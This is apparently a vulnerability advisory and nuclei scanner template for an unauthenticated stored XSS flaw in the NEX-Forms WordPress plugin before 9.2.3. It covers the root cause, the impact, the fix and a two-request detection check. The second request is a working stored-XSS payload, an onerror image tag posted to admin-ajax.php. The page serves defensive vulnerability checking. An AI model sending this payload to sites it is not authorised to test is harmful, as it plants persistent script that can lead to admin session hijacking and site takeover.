NEX-Forms Express WP Form Builder < 9.2.3 - Unauthenticated Stored XSS

highseverity

8.8CVSS score

0.5%likelihood of exploitation, next 30 days

44%of all CVEs are less likely

Readycheck to confirm it

NEX-Forms Express WP Form Builder plugin for WordPress before 9.2.3 is vulnerable to unauthenticated stored Cross-Site Scripting. The plugin registers a wp_ajax_nopriv_submit_nex_form handler for form submissions. Array-type field values are processed through rest_sanitize_array(), which only reindexes the array and performs no HTML sanitization, so markup is stored verbatim. When an administrator views the submitted entries, the stored payload renders without esc_html() escaping and executes arbitrary JavaScript in the admin's browser. Scalar fields are not affected (they are passed through strip_tags()).

Impact

An unauthenticated attacker can inject persistent JavaScript that executes in an administrator's browser session when they view form entries, leading to admin session hijacking, rogue account creation, and full site takeover.

Fix

Update NEX-Forms Express WP Form Builder to 9.2.3 or later, which recursively sanitizes array field inputs (nf_recursive_sanitize).

How to confirm it

Send: GET /wp-content/plugins/nex-forms-express-wp-form-builder/readme.txt
Positive when: compare_versions(version, "< 9.2.3") and status_code == 200
Send: POST /wp-admin/admin-ajax.php
Positive when: contains "name=\"nf_entry_id\"" and "value=" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2026-10525 -u <target>

The full check

id: CVE-2026-10525

info:
  name: NEX-Forms Express WP Form Builder < 9.2.3 - Unauthenticated Stored XSS
  author: sandiyochristan
  severity: high
  description: |
    NEX-Forms Express WP Form Builder plugin for WordPress before 9.2.3 is vulnerable to unauthenticated stored Cross-Site Scripting. The plugin registers a wp_ajax_nopriv_submit_nex_form handler for form submissions. Array-type field values are processed through rest_sanitize_array(), which only reindexes the array and performs no HTML sanitization, so markup is stored verbatim. When an administrator views the submitted entries, the stored payload renders without esc_html() escaping and executes arbitrary JavaScript in the admin's browser. Scalar fields are not affected (they are passed through strip_tags()).
  impact: |
    An unauthenticated attacker can inject persistent JavaScript that executes in an administrator's browser session when they view form entries, leading to admin session hijacking, rogue account creation, and full site takeover.
  remediation: |
    Update NEX-Forms Express WP Form Builder to 9.2.3 or later, which recursively sanitizes array field inputs (nf_recursive_sanitize).
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-10525
    - https://wpscan.com/vulnerability/d1e191e6-ff5b-4cb8-9b12-8ae73cf0d2f0/
    - https://wordpress.org/plugins/nex-forms-express-wp-form-builder/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
    cvss-score: 8.8
    cve-id: CVE-2026-10525
    epss-score: 0.00512
    epss-percentile: 0.44007
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: basix
    product: nex-forms-express-wp-form-builder
    framework: wordpress
    publicwww-query: "/wp-content/plugins/nex-forms-express-wp-form-builder/"
  tags: cve,cve2026,wordpress,wp-plugin,wp,nex-forms,xss,stored,unauth,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/nex-forms-express-wp-form-builder/readme.txt HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: version
        part: body
        internal: true
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'

    matchers:
      - type: dsl
        dsl:
          - 'compare_versions(version, "< 9.2.3")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=submit_nex_form&nex_forms_Id=1&company_url=&email={{randstr}}@test.com&nf_xss[]=<img+src%3dx+onerror%3dalert(document.domain)>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'name="nf_entry_id"'
          - 'value='
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from